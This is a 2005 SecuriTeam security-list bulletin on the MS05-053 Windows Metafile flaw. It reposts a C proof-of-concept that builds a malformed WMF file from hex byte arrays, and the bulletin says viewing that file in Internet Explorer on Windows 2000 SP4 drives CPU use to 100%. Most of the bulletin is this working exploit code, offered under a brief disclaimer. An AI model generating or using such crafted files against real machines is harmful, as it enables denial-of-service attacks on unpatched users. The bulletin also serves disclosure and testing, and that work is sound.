

[EXPL] Microsoft Windows Metafile DoS (gdi32.dll, MS05-053, Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-11/0093.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 11/30/05

To: list@securiteam.com

Date: 30 Nov 2005 09:23:03 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Microsoft Windows Metafile DoS (gdi32.dll, MS05-053, Exploit)

SUMMARY

Remote code execution and denial of service vulnerabilities have been discovered in Windows Metafile (WMF) and Enhanced Metafile (EMF) image formats that allow remote code execution or on an affected system.

The following crafted Metafile when viewed by Internet Explorer causes the CPU utilization to rise to 100%.

DETAILS

Vulnerable Systems:

- * Windows 2000 server SP4

Exploit:

/*

* Author: Winny Thomas

* Pune, INDIA

*

* The crafted metafile from this code when viewed in internet explorer raises the CPU utilization

Securiteam: [EXPL] Microsoft Windows Metafile DoS (gdi32.dll, MS05-053, Exploit)

* to 100%. The code was tested on Windows 2000 server SP4. The issue does not occur with the

* hotfix for GDI (MS05-053) installed

*

* Disclaimer: This code is for educational/testing purposes by authorized persons on

* networks/systems setup for such a purpose. The author of this code shall not bear

* any responsibility for any damage caused by using this code.

*

*/

```
#include <stdio.h>
```

```
unsigned char wmfheader[] =
```

```
"\xd7\xcd\xcb\x9a\x00\x00\xcb\xfb\xca\x02\xaa\x02\x39\x09\xe8\x03"
```

```
"\x00\x00\x00\x00\x66\xa6"
```

```
"\x01\x00"
```

```
"\x09\x00"
```

```
"\x00\x03"
```

```
"\xff\xff\xff\xff" //Metafile file size
```

```
"\x04\x00"
```

```
"\xff\xff\xff\xff" //Largest record size
```

```
"\x00\x00";
```

```
unsigned char MetafileRECORD[] =
```

```
"\x05\x00\x00\x00\x0b\x02\x39\x09\xcb\xfb\x08\x00\x00\x00\xfa\x02"
```

```
"\x05\x00\x00\x00\x00\x00\xff\xff\xff\x00\x04\x00\x00\x00\x2d\x01"
```

```
"\x01\x00\x04\x00\x00\x00\x06\x01\x01\x00\x04\x00\x00\x00\x2d\x01"
```

```
"\x02\x00\x07\x00\x00\x00\xfc\x02\x00\x00\xff\xff\xff\x00\x00\x00"
```

```
"\x04\x00\x00\x00\x2d\x01\x03\x00\x04\x00\x00\x00\x2d\x01\x02\x00"
```

```
"\x04\x00\x00\x00\x2d\x01\x03\x00\x04\x00\x00\x00\xff\x01\x00\x00"
```

```
"\x07\x00\x00\x00\xfc\x02\x00\x00\xfa\x94\x93\x00\x00\x00\x04\x00"
```

```
"\x00\x00\x2d\x01\x00\x00\x04\x00\x00\x00\x2d\x01\x01\x00\x04\x00"
```

```
"\x00\x00\x06\x01\x01\x00\x14\x00\x00\x00\x24\x03\x08\x00\xcb\xfb"
```

```
"\x9b\x03\xbc\xfe\x9b\x03\x0f\x01\x1a\x07\xa5\x02\x1a\x07\xf4\x00"
```

```
"\x39\x09\xd5\xfc\x36\x07\x86\xfe\x36\x07\xcb\xfb\x9b\x03";
```

```
unsigned char wmfeof[] =
```

```
"\x00\x00\x00\x00";
```

```
int main(int argc, char *argv[])
```

```
{
```

```
FILE *fp;
```

```
char wmfbuf[1024];
```

```
int metafilesize, metafilesizeW, i, j;
```

```
metafilesize = sizeof(wmfheader) + sizeof(MetafileRECORD) +  
sizeof(wmfeof) - 3;
```

```
metafilesizeW = metafilesize/2;
```

```
memcpy((unsigned long *)&wmfheader[28], &metafilesizeW, 4);
```

Securiteam: [EXPL] Microsoft Windows Metafile DoS (gdi32.dll, MS05-053, Exploit)

```
printf("[*] Adding Metafile header\n");
for (i = 0; i < sizeof(wmfheader) - 1; i++) {
    (unsigned char)wmfbuf[i] = (unsigned char)wmfheader[i];
}

printf("[*] Adding Metafile records\n");
for (j = i, i = 0; i < sizeof(MetafileRECORD) - 1; i++, j++) {
    wmfbuf[j] = MetafileRECORD[i];
}

printf("[*] Adding EOF record\n");
for (i = 0; i < sizeof(wmfeof) - 1; i++, j++) {
    wmfbuf[j] = wmfeof[i];
}

printf("[*] Creating Metafile (MS053.wmf)\n");
fp = fopen("MS053.wmf", "wb");
fwrite(wmfbuf, 1, metafilesize, fp);
fclose(fp);
}
```

ADDITIONAL INFORMATION

The original article can be found at:
<<http://www.milw0rm.com/id.php?id=1343>>
<http://www.milw0rm.com/id.php?id=1343>

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.